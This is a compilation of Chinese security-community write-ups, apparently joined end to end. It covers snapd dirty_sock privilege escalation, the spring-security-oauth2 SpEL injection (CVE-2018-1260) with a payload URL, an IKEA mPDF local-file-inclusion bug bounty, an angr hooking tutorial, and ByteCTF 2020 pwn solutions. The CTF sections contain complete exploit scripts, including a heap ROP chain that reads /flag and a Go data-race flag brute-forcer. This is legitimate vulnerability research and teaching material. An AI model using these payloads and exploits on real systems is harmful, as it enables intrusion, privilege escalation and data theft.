那么，哪里调用了存在漏洞的函数？该漏洞有多大影响呢？
之前看到，漏洞函数在api.go 中进行调用：
ucrednetGet 重命名为 postCreateUserUcrednetGet, 在postCreateUser有调用：
......
func postCreateUser(c *Command, r *http.Request, user *auth.UserState) Response {
_, uid, _, err := postCreateUserUcrednetGet(r.RemoteAddr)
if err != nil {
return BadRequest("cannot get ucrednet uid: %v", err)
}
if uid != 0 {
return BadRequest("cannot use create-user as non-root")
}
......
而该函数，对应的是创建本地用户的API：
......
createUserCmd = &Command{
Path: "/v2/create-user",
POST: postCreateUser,
}
......
了解下 snap API：
[API 文档](https://github.com/snapcore/snapd/wiki/REST-API)
功能是创建本地用户，使用权限是root。结合漏洞会将uid 覆盖为 0（root）的可能，则该漏洞可以通过调用api，创建用户，如果 sudoer
设置为true，则创建的为特权用户。
## 0x05 漏洞利用分析
之上，将漏洞分析的明明白白。此时其实可以自己写出exp：
* 创建 AF_UNIX 族套接字
* 绑定一个文件，文件名为;uid=0,“;”用于截取字符串，获取覆盖uid的能力。
* 调用API，且sudoer 设为true
* snapd在鉴权的时候会获取远程地址，如果是 AF_UNIX 类型套接字。将返回绑定的文件，触发漏洞。
* 鉴权的到uid=0，认为是root权限调用，执行生成本地用户操作，且调用API，且sudoer=true，则生成的用户具有特权。
漏洞作者给的
[exp](https://github.com/initstring/dirty_sock/blob/master/dirty_sockv1.py)，确实是这么写的。
## 0x06 补丁分析
漏洞修补的很粗暴，之前：
return fmt.Sprintf("pid=%s;uid=%s;socket=%s;%s", wa.pid, wa.uid, wa.socket, wa.Addr)
现在定义了一个结构体 ucrednet ，并且现在
return fmt.Sprintf("pid=%d;uid=%d;socket=%s;", un.pid, un.uid, un.socket)
不再返回 wa.Addr ，即不再处理远程连接地址。通过 AF_UNIX 套接字向RemoteAddr 注入文本已经行不通。从而修补了漏洞。
## 0x07 漏洞验证
漏洞十分的好用，snap < 2.37.1 以下版本均受影响。
因为在ubuntu 18.04 以后版本，默认安装 snap ，并且测试时发现，一些vps 供应商 Ubuntu 16.04 同样默认安装snap。
以下vps服务商的 ubuntu 安装镜像均存在问题：
* 腾讯云
* 谷歌云
* 亚马逊云
* vultr
* 搬瓦工
* ……
除了阿里云外，一打一个准。阿里云ubuntu 镜像中，不带有snap，是我测的主机中，唯一不受漏洞影响的云服务商。
## 0x08 安全建议
修补很简单，将 snap 升级到最新版就好了。
有 ubuntu vps 的同学，建议查看一下自己主机上snap的版本。
## 0x09 后记
很多漏洞作者，都会公布漏洞详情。建议做漏洞分析的同学，不要先去看漏洞详情。成长的过程在于对漏洞的摸索。
拿着分析文章，看一步调一步。没有太大意义，沉淀不了自己的经验。
本次分析的snap漏洞，唯一卡住的地方，是套接字那里。去看漏洞作者详细分析，才知道原来还有 AF_UNIX
用于本地进程通信。这个是我知识盲区，卡在这确实没办法。
ps：其实整篇下来，最难得部分是逆 go 的net标准库。（笑 | 社区文章 |
作者：chybeta
来源：[先知安全社区](https://xz.aliyun.com/t/2330 "先知安全社区")
#### 漏洞公告
#### 环境搭建
利用github上已有的demo：
git clone https://github.com/wanghongfei/spring-security-oauth2-example.git
确保导入的spring-security-oauth2为受影响版本，以这里为例为2.0.10
进入spring-security-oauth2-example，修改
cn/com/sina/alan/oauth/config/OAuthSecurityConfig.java的第67行:
@Override
public void configure(ClientDetailsServiceConfigurer clients) throws Exception {
clients.inMemory()
.withClient("client")
.authorizedGrantTypes("authorization_code")
.scopes();
}
根据[spring-security-oauth2-example](https://github.com/wanghongfei/spring-security-oauth2-example "spring-security-oauth2-example")创建对应的数据库等并修改AlanOAuthApplication中对应的mysql相关配置信息。
访问：
http://localhost:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://www.github.com/chybeta&scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22calc.exe%22%29%7D
会重定向到login页面，随意输入username和password，点击login，触发payload。
#### 漏洞分析
先简要补充一下关于OAuth2.0的相关知识。
以上图为例。当用户使用客户端时，客户端要求授权，即图中的AB。接着客户端通过在B中获得的授权向认证服务器申请令牌，即access
token。最后在EF阶段，客户端带着access token向资源服务器请求并获得资源。
在获得access token之前，客户端需要获得用户的授权。根据标准，有四种授权方式：授权码模式（authorization
code）、简化模式（implicit）、密码模式（resource owner password credentials）、客户端模式（client
credentials）。在这几种模式中，当客户端将用户导向认证服务器时，都可以带上一个可选的参数scope，这个参数用于表示客户端申请的权限的范围。
根据[官方文档](http://projects.spring.io/spring-security-oauth/docs/oauth2.html
"官方文档")，在spring-security-oauth的默认配置中scope参数默认为空：
scope: The scope to which the client is limited. If scope is undefined or empty (the default) the client is not limited by scope.
为明白起见，我们在demo中将其清楚写出：
clients.inMemory()
.withClient("client")
.authorizedGrantTypes("authorization_code")
.scopes();
接着开始正式分析。当我们访问`http://localhost:8080/oauth/authorize`重定向至`http://localhost:8080/login`并完成login后程序流程到达
org/springframework/security/oauth2/provider/endpoint/AuthorizationEndpoint.java，这里贴上部分代码：
@RequestMapping(value = "/oauth/authorize")
public ModelAndView authorize(Map<String, Object> model, @RequestParam Map<String, String> parameters,
SessionStatus sessionStatus, Principal principal) {
// Pull out the authorization request first, using the OAuth2RequestFactory. All further logic should
// query off of the authorization request instead of referring back to the parameters map. The contents of the
// parameters map will be stored without change in the AuthorizationRequest object once it is created.
AuthorizationRequest authorizationRequest = getOAuth2RequestFactory().createAuthorizationRequest(parameters);
try {
...
// We intentionally only validate the parameters requested by the client (ignoring any data that may have
// been added to the request by the manager).
oauth2RequestValidator.validateScope(authorizationRequest, client);
...
// Place auth request into the model so that it is stored in the session
// for approveOrDeny to use. That way we make sure that auth request comes from the session,
// so any auth request parameters passed to approveOrDeny will be ignored and retrieved from the session.
model.put("authorizationRequest", authorizationRequest);
return getUserApprovalPageResponse(model, authorizationRequest, (Authentication) principal);
}
...
第115行
在执行完`AuthorizationRequest authorizationRequest =
...`后，`authorizationRequest`代表了要认证的请求，其中包含了众多参数
在经过了对一些参数的处理，比如RedirectUri等，之后到达第156行：
// We intentionally only validate the parameters requested by the client (ignoring any data that may have
// been added to the request by the manager).
oauth2RequestValidator.validateScope(authorizationRequest, client);
在这里将对`scope`参数进行验证。跟入`validateScope`到org/springframework/security/oauth2/provider/request/DefaultOAuth2RequestValidator.java:19
public class DefaultOAuth2RequestValidator implements OAuth2RequestValidator {
public void validateScope(AuthorizationRequest authorizationRequest, ClientDetails client) throws InvalidScopeException {
validateScope(authorizationRequest.getScope(), client.getScope());
}
...
}
继续跟入`validateScope`，至
org/springframework/security/oauth2/provider/request/DefaultOAuth2RequestValidator.java:28
private void validateScope(Set<String> requestScopes, Set<String> clientScopes) {
if (clientScopes != null && !clientScopes.isEmpty()) {
for (String scope : requestScopes) {
if (!clientScopes.contains(scope)) {
throw new InvalidScopeException("Invalid scope: " + scope, clientScopes);
}
}
}
if (requestScopes.isEmpty()) {
throw new InvalidScopeException("Empty scope (either the client or the user is not allowed the requested scopes)");
}
}
首先检查`clientScopes`，这个`clientScopes`即我们在前面configure中配置的`.scopes();`，倘若不为空，则进行白名单检查。举个例子，如果前面配置`.scopes("chybeta");`，则传入`requestScopes`必须为`chybeta`，否则会直接抛出异常`Invalid
scope:xxx`。但由于此处查`clientScopes`为空值，则接下来仅仅做了`requestScopes.isEmpty()`的检查并且通过。
在完成了各项检查和配置后，在`authorize`函数的最后执行：
return getUserApprovalPageResponse(model, authorizationRequest, (Authentication) principal);
回想一下前面OAuth2.0的流程，在客户端请求授权（A），用户登陆认证（B）后，将会进行用户授权（C），这里即开始进行正式的授权阶段。跟入`getUserApprovalPageResponse`
至org/springframework/security/oauth2/provider/endpoint/AuthorizationEndpoint.java:241：
生成对应的model和view，之后将会forward到`/oauth/confirm_access`。为简单起见，我省略中间过程，直接定位到org/springframework/security/oauth2/provider/endpoint/WhitelabelApprovalEndpoint.java:20
public class WhitelabelApprovalEndpoint {
@RequestMapping("/oauth/confirm_access")
public ModelAndView getAccessConfirmation(Map<String, Object> model, HttpServletRequest request) throws Exception {
String template = createTemplate(model, request);
if (request.getAttribute("_csrf") != null) {
model.put("_csrf", request.getAttribute("_csrf"));
}
return new ModelAndView(new SpelView(template), model);
}
...
}
跟入`createTemplate`，第29行：
protected String createTemplate(Map<String, Object> model, HttpServletRequest request) {
String template = TEMPLATE;
if (model.containsKey("scopes") || request.getAttribute("scopes") != null) {
template = template.replace("%scopes%", createScopes(model, request)).replace("%denial%", "");
}
...
return template;
}
跟入`createScopes`，第46行：
这里获取到了`scopes`，并且通过for循环生成对应的`builder`，其实就是html和一些标签等，最后返回的即`builder.toString()`,其值如下:
<ul><li><div class='form-group'>scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}: <input type='radio' name='scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}' value='true'>Approve</input> <input type='radio' name='scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}' value='false' checked>Deny</input></div></li></ul>
`createScopes`结束后将会把上述`builder.toString()`拼接到`template`中。`createTemplate`结束后，在`getAccessConfirmation`的最后：
return new ModelAndView(new SpelView(template), model);
根据`template`生成对应的`SpelView`对象，这是其构造函数：
此后在页面渲染的过程中，将会执行页面中的Spel表达式`${T(java.lang.Runtime).getRuntime().exec("calc.exe")}`从而造成代码执行。
所以综上所述，这个任意代码执行的利用条件实在“苛刻”：
1.需要`scopes`没有配置白名单，否则直接`Invalid scope:xxx`。不过大部分OAuth都会限制授权的范围，即指定scopes。
2.使用了默认的Approval
Endpoint，生成对应的template，在spelview中注入spel表达式。不过可能绝大部分使用者都会重写这部分来满足自己的需求，从而导致spel注入不成功。
3.角色是授权服务器（例如@EnableAuthorizationServer）
#### 补丁浅析
commit记录： <https://github.com/spring-projects/spring-security-oauth/commit/adb1e6d19c681f394c9513799b81b527b0cb007c>
官方将`SpelView`去除，使用其他方法来生成对应的视图
#### 资料
* [CVE-2018-1260: Remote Code Execution with spring-security-oauth2](https://pivotal.io/security/cve-2018-1260 "CVE-2018-1260: Remote Code Execution with spring-security-oauth2")
* [spring-security-oauth:Authorization Server Configuration](http://projects.spring.io/spring-security-oauth/docs/oauth2.html#Configuring%20Client%20Details "spring-security-oauth:Authorization Server Configuration")
* [阮一峰:理解OAuth 2.0](http://www.ruanyifeng.com/ "阮一峰:理解OAuth 2.0")
* * * | 社区文章 |
翻译自：<https://medium.com/@jonathanbouman/local-file-inclusion-at-ikea-com-e695ed64d82f>
翻译：聂心明
你想参加私有众测？我很乐意邀请你，请联系我[email protected]
# 背景
通过本地文件包含攻击(LFI)，你可以拿到服务器中的敏感文件。比如，配置文件，日志文件和网站的源代码。有时，你甚至会导致远程命令执行。本地文件包含一直被认为是危害性极高的漏洞。
大多数导致本地文件包含漏洞的原因是动态的加载图片或者其他文件。如果请求的文件或者路径没有被严格的验证，那么攻击者就会获取服务器中的敏感数据。让我们学习一下关于它的知识。
# IKEA.com
宜家世界上最知名品牌之一，它也是福布斯财富榜前50的企业之一。几乎每个人都会在家里有一件宜家的产品。我喜欢宜家的IKEA LATTJO brain
帽子。你们最喜欢宜家的什么产品呢？请在下面的评论区里面评论。
对于我们来说，它还有一个好处就是它有大量的各种类型的网站和app。这些网站和app都非常棒，它们始终坚持服务着大量的客户。宜家有非常棒的[漏洞赏金平台](https://app.zerocopter.com/en/rd/9213ded2-6bb5-4f1a-8d74-c6fc1a04b675)，宜家允许我们可以测试他们的网站，并且我们可以在商家修复之后，公开这些漏洞。只要我们遵守[漏洞披露规则](https://www.ikea.com/ms/en_ID/responsible-disclosure/index.html)，就没有问题。来，让我们渗透宜家吧。
# 寻找目标
在渗透开始之前，我会先用[Aquatone](https://github.com/michenriksen/aquatone)这个工具来探测目标的子域名。这个工具可以找到大量公共的子域名，并且返回所有存活的网站，下面的截图就是这个工具演示。关于Aquatone的使用，你可以参考我的另外一篇文章《[Unrestricted
File Upload at Apple.com](https://medium.com/@jonathanbouman/how-i-hacked-apple-com-unrestricted-file-upload-bcda047e27e3)》
# 宜家的Bathroom 子站
我们发现宜家的一个子站
[Bathroomplanner.IKEA.com](http://bathroomplanner.ikea.com/),这是一个工具，可以查找你想要的浴室家具产品，并且把他们加入到购物列表里面。
你可以让商家把产品列表以邮件的形式发给你，或者你可以把产品列表保存为pdf，这个pdf中包含文字和产品图片，其他的东西就没有了
那么这个pdf是怎样产生的呢？
# 抓个包
如果我说抓包的话，那么你肯定第一个想到的就是Burp Suite。现在我们打开Burp Suite，开始拦截发往宜家服务器的报文吧。
我们首先打开一个产品页面，然后添加一个产品到我们的列表里面去。
在上面的gif动画中，我们看到拦截的报文中有多个参数：
* data：包含产品图片和产品的描述的json，里面没有路径信息。
* shopping：包含我们产品列表的json，里面没有路径信息。
* pdf：非常长的字符串，包含内容不清楚
* images：base64编码之后的图片
# 那一串长的字符串其实base64编码之后的数据
如果你遇到很长的数字和字母组成的字符串，那么你就要看看这个是不是base64编码的字符串。Base64
经常用于文件传输。推荐给你们一个解base64的在线工具 <http://decodebase64.com/>
如果解码的页面报错，那么就是字符串中肯定包含错误的字符，比如：%，emmm，那么这一串字符串就有点像url编码的数据了，所以，我们首先应该url解码这些字符串，然后再把他们Base64解码。你可以使用
<https://meyerweb.com/eric/tools/dencoder/> 去解url编码。
我们首先将字符串进行url解码，然后再进行base64解码，就会得到下面的字符串。
这看上去非常有趣，如果我们添加一些产品到我们的列表中时，宜家服务器就会用模板生成一个带产品清单的pdf文件。我们怎样才能在PDF中包含服务器的本地文件呢？比如图片文件。好主意，让我们添加`<img
src=”/etc/passwd”>`到模板文件中吧，然后把这个字符串先base64编码，然后再url编码，之后再放入数据报文的pdf参数中，最后再重放一下。
长话短说，这似乎不行。这个pdf解析器似乎不能识别这个文件。它也不能把这个字符串进行解析也不能输出内容。
B计划，识别解析pdf的库，用一些关键字来搜索这个库。
可能我们找到另一种方式在pdf中包含文件。我们需要一个强有力的工具去寻找这样的pdf解析库。谷歌是最好的选择。就用模板中出现的字符串进行搜索，看看谷歌会给我一个什么样的答案
我们得到两个选择，一个是node-html-pdf库另一个是
[mPDF库](https://github.com/mpdf/mpdf)。通过快速的阅读文档，我发现，这个项目中使用的pdf解析库是mPDF
# 在mPDF中寻找安全相关的issues
我们马上就把 mPDF
下载到本地，目的寻找安全问题。其实最好的方式就是去看[CHANGELOG](https://github.com/mpdf/mpdf/blob/development/CHANGELOG.md)，这个文件被程序员用来追踪产品之间的改变。
当我们读到h0ng10提交的issue的时候，发现在mPDF老的版本上有几个严重的安全漏洞，其中一个就是利用annotation标签进行本地文件包含。
如果我们仔细查看这个项目的提交记录就能发现这个[commit](https://github.com/mpdf/mpdf/commit/d03e1ae41c1b288ebfd345ed6ef8eda991fa031c)。这个commit展示了漏洞所在的位置。
因为我们能够改变pdf的模板，所以我们就能在模板中添加一个能够包含文件的标签。完美，让我们看看宜家是否忘记把这个pdf解析库升级到了最新的版本。
# 发动攻击
我们在模板中添加下面的标签：
<annotation file=\”/etc/passwd\” content=\”/etc/passwd\” icon=\”Graph\” title=\”Attached File: /etc/passwd\” pos-x=\”195\” />
我们用Burp Suite中的Repeater 去发送一个新的模板，然后下载这个pdf文件。我们用 Foxit
Reader去打开这个pdf文件。然后开始寻找那个黄色的小标签。
双击那个黄色的小标签就可以打开我们盗取的服务器文件了。是时候去提交这个漏洞并等待宜家的回应了。
# 结论
宜家允许用户操作pdf模板，然后用这个模板生成产品清单供人们下载。这个pdf库包含（抑或隐藏）了一个功能，这个功能就是在模板中添加一个指定标签去嵌入一个文件。在最新的pdf解析库里面，这个功能已经被禁用掉了，宜家没有及时的升级，所以导致了这个漏洞。这个漏洞可以让攻击者在创建一个pdf的时候，包含服务器中/etc/passwd这个文件。
# 解决方案
* 不要让用户操作pdf的模板
* 在客户端生成包含产品列表的pdf，例如可以用 jsPDF
* 把mPDF升级到最新版
# 赏金
€250
# 讨论，什么是负责的披露
当你看到下面的关于漏洞披露的时间线时，整个流程确实花了很多的时间。我报告的大多数的漏洞没有任何争议。 Bol.com
是一个非常好的例子。但是有时会花更多的时间。
这次我遇到了一个非常有趣的解决方案。宜家强制我用他们的赏金平台Zerocopter来报告漏洞。但是Zerocopter不允许我们在提交时拥有一个账户，所以我们不得不给Zerocopter发邮件来让他们一起协同披露漏洞。我们在社区中没有直接联系到宜家。最开始宜家花了几周的时间才修复了这个漏洞，花了整整三个月和30封邮件才和他们合作披露了整个漏洞。
荷兰政府发布了一个政策（在2018年4月28日更新的：一个新版的手册），这个政策的其中几页解释了该如何负责任的披露一个漏洞。其中安全研究员和原厂商的积极交流是其中的关键所在。
而且清晰的漏洞披露流程也是非常重要的。很少有厂商和研究员选择不去披露漏洞 (PDF, 7页, UPDATE 04–10–2018: PDF, 13页)
如果这个漏洞很难被解决，或者解决起来要花费很多的钱，那么披露者和厂商才选择不去公开这个漏洞。
这些天，大量的赏金平台被私有化，大量的披露者不去遵守这个规则。着是否符合公共利益呢？如果厂商没有及时的修复这个漏洞，消费者就会受到漏洞的影响（比如泄露数据）且消费者会毫不知情。难道是因为安全研究员透露了公司的名称而遭到律师的威胁吗？
任何国际标准建议中都没有关于非公开披露者的规则。并且，在2018年6月在欧洲举行的软件漏洞披露者大会上欧洲特别工作组就不建议不公开漏洞。相反的是，他们建议forbid政府签署非公开者协议。[见第84页](https://www.ceps.eu/system/files/CEPS%20TFRonSVD%20with%20cover_0.pdf)
如果赏金平台没有改变。那么安全研究员就会避开这些公司或者平台，他们会再一次公开这些漏洞。我们应该避免这些问题。
Bug Bounty是非常负责的平台，他们建议厂商要建立合理的披露流程。无论怎样他们也会保护公共利益和他们的安全研究员。向公众披露漏洞也是披露流程的一部分。
Hackerone是一个非常好的例子，他们的公开的漏洞是非常好的学习资源，与此同时hackerone会告知公众会有潜在的信息泄露的风险。
而其他的漏洞平台比如Bugcrowd 和
Zerocopter不会像hackerone那样公开披露漏洞。如果这些不公开漏洞的平台做出一些改变，向公众去公开这些漏洞而不是隐藏它们，那么整个互联网环境就会变的更好。
在更好的互联网世界中，私有赏金平台是不存在的。在某个时间点，所有的漏洞都必须被公开。如果报告的漏洞没有被修复，那么就必须有很清晰的流程去让报告者知道下一步该怎么去做
并且如果安全研究者遵守这些规则，那么他们应该被保护。报告这些漏洞不应该有任何担忧。你怎么看这个问题，请在下面的评论区里面留言给我。
很高兴宜家能修复这个漏洞并且他们支持公开披露守则。非常感谢！ | 社区文章 |
# 前言
在逆向中，使用Hook来解决问题非常的常见，在之前对angr的学习中，我并未关注到hook方法，现在有时间学习整理一遍，我倍感快乐，其实Hook也十分的简单，而且可以将复杂的问题简单化
# 初识
一个比较简单的例子`defcamp_r100/r100`
解题代码只有以下短短的几行：
import angr
project = angr.Project("angr-doc/examples/defcamp_r100/r100", auto_load_libs=False)
@project.hook(0x400844)
def print_flag(state):
print("FLAG SHOULD BE:", state.posix.dumps(0))
project.terminate_execution()
project.execute()
官方文档的介绍如下：
我们可以通过`@proj.hook(proj.entry)`的方式来Hook任意一个地址。
例子中使用了`project.execute()`方法，此方法并不常用，它往往和`project.terminate_execution()`结合起来使用，并且通常用在hook时
因此代码大概的执行流程如下：
1. 初始化proj
2. hook指定地址的函数
3. 调用`project.execute()`
4. 当遇到`project.terminate_execution()`符号执行结束
此时angr会执行到`0x400844`并打印出flag的结果。
## hook符号表
这里以`tumctf2016_zwiebel`作为例子进行说明。首先看官方文档的说明。
`hook_symbol`函数可以根据所给出的符号名，在二进制文件中找寻对应的地址，并且hook该地址。
IDA载入题目
这是一个`smc`的题目，对于angr来说为了能在符号执行时进行自解密，需要添加`support_selfmodifying_code=True`参数
很明显，我们无法使用`sm.explore(find=xxx,avoid=xxx)`的方式来使用angr，同时注意到程序中出现了`ptrace`想必一定有反调试，让我们通过hook的方法来绕过反调试。
p.hook_symbol('ptrace', angr.SIM_PROCEDURES['stubs']['ReturnUnconstrained'](return_value=0))
因为`angr`实现了大量的符号化函数，以此来替代程序中对库函数的外部调用，其中`angr.SIM_PROCEDURES`是`angr`对符号化函数的字典调用，我们可以采用`angr.SIM_PROCEDURES['模块名']['库函数名']()`进行`hook`
而后便可以通过`simulation_manager`进行执行了。
state = p.factory.full_init_state(cadd_options=angr.options.unicorn)
sm = p.factory.simulation_manager(state)
这里只能采用类似step的方法进行解决，效率很低,例子中提供的代码是这样的。
while sm.active:
# in order to save memory, we only keep the recent 20 deadended or
# errored states
#print(len(sm.active))
sm.run(n=20)
if 'deadended' in sm.stashes and sm.deadended:
sm.stashes['deadended'] = sm.deadended[-20:]
if sm.errored:
sm.errored = sm.errored[-20:]
assert sm.deadended
flag = sm.deadended[-1].posix.dumps(0).split(b"\n")[0]
import ipdb; ipdb.set_trace()
return flag
我觉得有点多此一举了，他这段代码的目的就是执行完`sm.run()`此时正确的输入应该保存在最后一个`deadended`节点的`posix.dumps(0)`当中，最后跑了两个小时，我也是醉了。不过至少知道了angr是如何hook，并绕过反调试的。
### 典型例题`defcon2016quals_baby-re`
这道题作为例子可能会更好一点。
这题其实不用hook也能顺利的解出，只是我们需要对结果进行处理一下，才能得到我们想要的flag。
IDA载入
其实之前我们遇到过类似的题目，不过那时我们采取的方法是：跳过输入部分，直接对内存进行存储，从而进行输入，这里当然也能这么做，只需对`[rbp+var_60]`内存进行操作即可
> ps:本来只想简单尝试一下，没想到花了几分钟随便写的代码居然跑出结果了，因此这里顺便贴一下代码。
import angr
import claripy
# 最简单的方法，不过需要对结果进行变化
def main():
proj = angr.Project('./baby-re', auto_load_libs=False)
state = proj.factory.entry_state(add_options={angr.options.LAZY_SOLVES})
sm = proj.factory.simulation_manager(state)
sm.explore(find=0x4028E9, avoid=0x402941)
# 跳过程序自身的输入，通过内存控制输入
def main2():
proj = angr.Project('./baby-re', auto_load_libs=False)
flag_chars = [claripy.BVS('flag_%d' % i, 32) for i in range(13)]
state = proj.factory.blank_state(addr=0x4028E0,add_options={angr.options.LAZY_SOLVES})
for i in range:
state.memory.store(state.regs.rbp-0x60+i*4,flag_chars[i])
state.regs.rdi = state.regs.rbp-0x60
sm = proj.factory.simulation_manager(state)
sm.explore(find=0x4028E9, avoid=0x402941)
if __name__ == '__main__':
main2()
当然说了这么多，这里最主要还是想说一下如何使用Hook技术，来控制输入，从而方便我们的输出。
我们可以通过这样的方式进行Hook
`proj.hook_symbol('__isoc99_scanf', my_scanf(), replace=True)`
我们用自己的`my_scanf()`来代替`__isoc99_scanf`，我们在保持scanf功能不变的情况下，将我们的符号变量存储进去。
class my_scanf(angr.SimProcedure):
def run(self, fmt, ptr): # pylint: disable=arguments-differ,unused-argument
self.state.mem[ptr].dword = flag_chars[self.state.globals['scanf_count']]
self.state.globals['scanf_count'] += 1
这样程序每次调用`scanf`时，其实就是在执行`my_scanf`就会将`flag_chars[i]`存储到`self.state.mem[ptr]`当中，这其中`ptr`参数，其实就是本身`scanf`函数传递进来的`rdi`也就是`[rbp+var_60]+i*4`,为了控制下标，我们设置了一个全局符号变量`scanf_count`,相信聪明的你一定不难理解。
如此一来，只要angr执行到我们想要到达的分支，那么我们就可以通过`solver.eval()`的方式将其打印出来
代码如下：
import angr
import claripy
def main():
proj = angr.Project('./baby-re', auto_load_libs=False)
# let's provide the exact variables received through the scanf so we don't have to worry about parsing stdin into a bunch of ints.
flag_chars = [claripy.BVS('flag_%d' % i, 32) for i in range(13)]
class my_scanf(angr.SimProcedure):
def run(self, fmt, ptr): # pylint: disable=arguments-differ,unused-argument
self.state.mem[ptr].dword = flag_chars[self.state.globals['scanf_count']]
self.state.globals['scanf_count'] += 1
proj.hook_symbol('__isoc99_scanf', my_scanf(), replace=True)
sm = proj.factory.simulation_manager()
sm.one_active.options.add(angr.options.LAZY_SOLVES)
sm.one_active.globals['scanf_count'] = 0
# search for just before the printf("%c%c...")
# If we get to 0x402941, "Wrong" is going to be printed out, so definitely avoid that.
sm.explore(find=0x4028E9, avoid=0x402941)
# evaluate each of the flag chars against the constraints on the found state to construct the flag
flag = ''.join(chr(sm.one_found.solver.eval(c)) for c in flag_chars)
return flag
def test():
assert main() == 'Math is hard!'
if __name__ == '__main__':
print(main())
# 总结
我感觉Hook的代码还是比较难写的，不过如果学会了，确实可以省下我们写脚本分析的时间，又是一个提高效率的方法。 | 社区文章 |
# Bytectf2020 web&pwn writeup by HuaShuiTeam
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## gun
shoot功能存在逻辑问题导致UAF，可以造成load的bullet再次free
利用unsortedbin构造fake chunk，free进tcache后，直接修改fd指向__free_hook即可
程序存在sandbox，只能orw
setcontext为rdx寄存器，考虑转向IO，通过vtable间接设置:
https://kirin-say.top/2020/06/29/0CTF-TCTF-2020-Quals-PWN/
或者利用可以通过rdi设置rdx寄存器的gadget：
ropper --file ./libc-2.31.so --search "mov rdx,"
......
0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
......
from pwn import *
context.log_level="debug"
def add(size,note):
p.sendlineafter("> ", "3")
p.sendlineafter("price: ", str(size))
p.sendafter(": ", note)
def magic(index):
p.sendlineafter("> ", "2")
p.sendlineafter("?", str(index))
def delete(index):
p.sendlineafter("> ", "1")
p.sendlineafter(": ", str(index))
#p=process("./gun")
p=remote("123.57.209.176",30772)
name="name: \n"
p.sendafter(": ",name)
for i in range(8):
add(0x80,"a\n")
for i in range(8):
magic(i)
delete(10)
add(0x50,"\n")
magic(0)
delete(1)
p.recvuntil("The ")
libc=u64(p.recv(6)+"\x00\x00")-0x7ffff7fc2be0+0x7ffff7dd7000-0x80
print hex(libc)
for i in range(9):
add(0x80,"bbbbb\n")
for i in range(9):
magic(8-i)
delete(10)
add(0x410,p64(0)*16+p64(0)+p64(0x31)+p64(0)*5+p64(0x21)+"\n")
add(0x20,"aaaa\n")
for i in range(6):
add(0x10,"bbbbb\n")
magic(7)
magic(1)
delete(3)
magic(0)
delete(1)
add(0x20,"\n")
magic(0)
delete(1)
p.recvuntil("The ")
heap=u64(p.recv(6)+"\x00\x00")
print hex(heap)
#0x55555555b330
payload=p64(0)+p64(heap-0x55555555b330+0x55555555b760-0x20)+p64(libc+0x580DD)
rdi=libc+0x0000000000026b72
rsi=libc+0x27529
rdx2=libc+0x162866
rax=libc+0x4a550
payload2=p64(heap-0x55555555b330+0x55555555b810)+p64(rsi)+p64(0)+p64(rax)+p64(2)+p64(libc+0x111140)
payload2+=p64(rdi)+p64(3)+p64(rsi)+p64(heap)+p64(rdx2)+p64(0x30)+p64(0)+p64(libc+0x00111130)
payload2+=p64(rdi)+p64(1)+p64(rsi)+p64(heap)+p64(rdx2)+p64(0x30)+p64(0)+p64(libc+0x001111d0)
add(0x1b0,payload.ljust(16*8,"\x00")+p64(0)+p64(0x31)+p64(libc+0x00001eeb28)+p64(0)*4+p64(0x21)+"/flag\x00\x00\x00"+p64(0)+payload2+"\n")
add(0x20,p64(heap-0x55555555b330+0x55555555b820)+p64(rdi)+"\n")
add(0x20,p64(libc+0x154930)+"\n")
magic(0)
delete(1)
p.interactive()
## leak
golang ,添加函数，leak源码中的flag
package main
func main() {
flag := []int64{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}
for i, v := range flag {
flag[i] = v + 1
}
hack()
}
/* your function will be placed here */
/* input the whole hack() function as follow */
/* and end the code with '#' */
/*
func hack() {
TODO
}
*/
利用golang data race造成类型混淆，而后可以进行任意地址读写
考虑flag会在ELF中存一份，在rodata附近爆破出flag保存地址
而后一字节一字节爆破即可
from pwn import *
import sys
#context.log_level = 'debug'
p = remote("123.57.209.176",30775)
flag=""
key="1234567890abcdef-" #uuid
flag_index=40#为了稳定，比赛时选择每3字节爆破
for i in range(3):
for j in key:
try:
tmp= 0x0483000+i*0x8
p = remote("123.56.96.75",30775)
magic='''
func hack() {
type Mem struct {
addr *uintptr
data *uintptr
}
m := new(Mem)
var i, j, k interface{}
i = (*uintptr)(nil)
j = &m.data
var z int=0
go func(){
for {
z++
k = i
func() {
if z < 0 {
}
return
}()
k = j
}
}()
for {
if p, ok := k.(*uintptr); ok && p != nil { //Race Successuflly
m.addr = p
*m.addr=%s
var o uintptr = *m.data
if o==%s{ //结果正确=>Crash
*m.addr=0
*m.data=0
}
break
}
}
}
''' %(0x483000+72*8+(flag_index+i)*8,ord(j))
p.sendlineafter("code: \n", magic+"#")
s=p.recv()
print s
if "exit status 2" in s:
flag+=j
print flag
break
else:
print "no 1"
p.close()
except:
p.close()
print "no"
print flag
#ByteCTF{898ab99c-67d0-4188-81ef-253c12492868}
## ohmyjson
golang写的json解析程序
存在混淆，golanghelper恢复没有效果，不过debug信息会有源码位置，因此选择人为制造Crash，可以定位到一些关键函数，和直接获得对应源码位置，根据源码行数可以确定函数
大致流程:read => strings.Split => ParseJson
Split会按照空格分割并判断是否为3个部分
而后会使用jsonparser.Delete，将json中第二个部分指定的成员删除
在逆向出最后一个的作用前，进行简单测试发现利用:
# buger/jsonparser 唯一相关CVE(恰好也在jsonparser.Delete)
https://github.com/buger/jsonparser/issues/188
类似的一些非法json，会导致处理时间过长，导致最后一个达到(第三部分比较长时)栈溢出(猜测是Thread返回设置标志位等原因触发溢出函数)，并且一些情况下(第三部分比较短时)可以输出第三部分信息
debug时可以看到溢出时栈信息:
pwndbg> x/100xg $rsp-0xa0
0xc000045e00: 0x0000555555699c40 0x000000c000102000
0xc000045e10: 0x000000c000045e40 0x0000555555609ade
0xc000045e20: 0x0000000000000000 0x0000000000000000
0xc000045e30: 0x000000c000045de0 0x0000000000000020
